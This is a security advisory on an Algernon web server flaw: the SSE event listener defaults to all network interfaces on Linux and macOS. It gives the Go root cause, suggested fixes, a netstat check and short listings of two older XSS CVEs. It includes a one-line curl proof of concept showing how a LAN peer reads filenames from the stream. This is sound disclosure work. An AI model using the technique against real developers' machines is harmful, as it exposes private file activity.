    ### Summary The SSE event server bound to `0.0.0.0:5553` on Linux/macOS by default because the platform-dependent host default in `engine/flags.go:39-46` set `host = ""` for non-Windows, and `utils.JoinHostPort("", ":5553")` resolves to `":5553"` — a Go `http.Server.Addr` of `":5553"` listens on every interface. On Windows the same code chose `"localhost"`, binding loopback only. The result was a platform split where the OS Algernon's dev workflow is most often used on (Linux/macOS) got the network-exposed default, and only Windows users got the loopback-safe one. A LAN peer with no developer interaction could connect to `:5553` and read the file-change stream. This advisory covers the bind-address default in isolation. The fix is independent of authentication (#2a) and CORS (#2b) — switching the default to loopback can be done without touching either. ### Details #### Root cause — platform-dependent `host` default in `handleFlags` ```go // engine/flags.go:39-46 (1.17.6) host := "" if runtime.GOOS == "windows" { host = "localhost" // Default Bolt database file ac.defaultBoltFilename = filepath.Join(serverTempDir, "algernon.db") // Default log file ac.defaultLogFile = filepath.Join(serverTempDir, "algernon.log") } ``` ```go // engine/config.go:388-391 (1.17.6, finalConfiguration) if ac.eventAddr == "" { ac.eventAddr = utils.JoinHostPort(host, ac.defaultEventColonPort) } ``` Result tabulated: | Platform | `host` | `eventAddr` after `JoinHostPort` | Effective bind | |---|---|---|---| | Linux | `""` | `":5553"` | `0.0.0.0:5553` (all interfaces) | | macOS | `""` | `":5553"` | `0.0.0.0:5553` (all interfaces) | | Windows | `"localhost"` | `"localhost:5553"` | `127.0.0.1:5553` (loopback) | The same `host` value also governs the main web server bind, so the platform split affects both ports. The web-server bind on Linux/macOS is a separate (defensible) design decision — a server intended to be reachable; the SSE port is *not* such a service and inherited the same default by accident. #### Why this is an independent finding The fix is a single line: change the default `host` value, or change the `eventAddr` default specifically, to `"localhost"` regardless of platform. No change to authentication or CORS is required to close the network-reach half of the original bundled advisory. A LAN peer can no longer connect — the listener is unreachable from another host — even if the SSE handler still has no authentication and still returns `Allow-Origin: *`. ### PoC (against 1.17.6 on Linux/macOS) ```bash # Operator's laptop on a hotel/cafe/office WiFi: algernon -a /path/to/project # => SSE listener bound to 0.0.0.0:5553 # Any peer on the same subnet: $ curl -sN http://:5553/sse id: 0 data: /path/to/project/secret-notes.md id: 1 data: /path/to/project/.env.local ``` No interaction from the developer is required. The peer needs network reach and nothing else. ### Impact - **Confidentiality:** medium. LAN-bounded continuous information disclosure of filenames and edit timing. - **Integrity:** none. - **Availability:** none directly. The CVSS vector uses `AV:A` (adjacent network) to model the LAN-only reach. The vector for a misconfigured deployment behind a NAT-less or routed network would shift to `AV:N` and rise to 5.3. ### Suggestions to fix **Primary fix — pick `localhost` as the SSE default on every platform.** ```go // engine/flags.go -- platform-independent default for the event listener // (keep the existing platform split for the WEB server if desired, but // not for the event server) host := "localhost" ``` Or, more surgically: ```go // engine/config.go -- finalConfiguration if ac.eventAddr == "" { ac.eventAddr = utils.JoinHostPort("localhost", ac.defaultEventColonPort) } ``` An operator who genuinely wants LAN-reachable SSE can pass `--eventserver 0.0.0.0:5553` explicitly and accept the consequences. **Stronger fix — eliminate the second listener entirely.** Mount the SSE handler on the main mux at `/sse`. The bind address is then whatever the main server uses; there is no second listener and therefore no second bind-address default to get wrong. ### Live verification Audit-host bind check (Windows 10): ``` $ netstat -an | findstr 5553 TCP 127.0.0.1:5553 0.0.0.0:0 LISTENING ``` Confirms the Windows default is `localhost`. The Linux/macOS bind to `0.0.0.0:5553` is documented in the code path above; it was not exercised on the audit machine because the audit host was Windows. A maintainer reproducing on a Linux host would see `0.0.0.0:5553 LISTENING` from `ss -tlnp`.

  • CVE-2025-65754Dec 10, 2025
    risk 0.00cvss epss 0.00

    Cross Site Scripting vulnerability in Algernon v1.17.4 allows attackers to execute arbitrary code via injecting a crafted payload into a filename.

  • CVE-2023-26131May 31, 2023
    risk 0.00cvss epss 0.00

    All versions of the package github.com/xyproto/algernon/engine; all versions of the package github.com/xyproto/algernon/themes are vulnerable to Cross-site Scripting (XSS) via the themes.NoPage(filename, theme) function due to improper user input sanitization. Exploiting this vulnerability is possible when a file/resource is not found.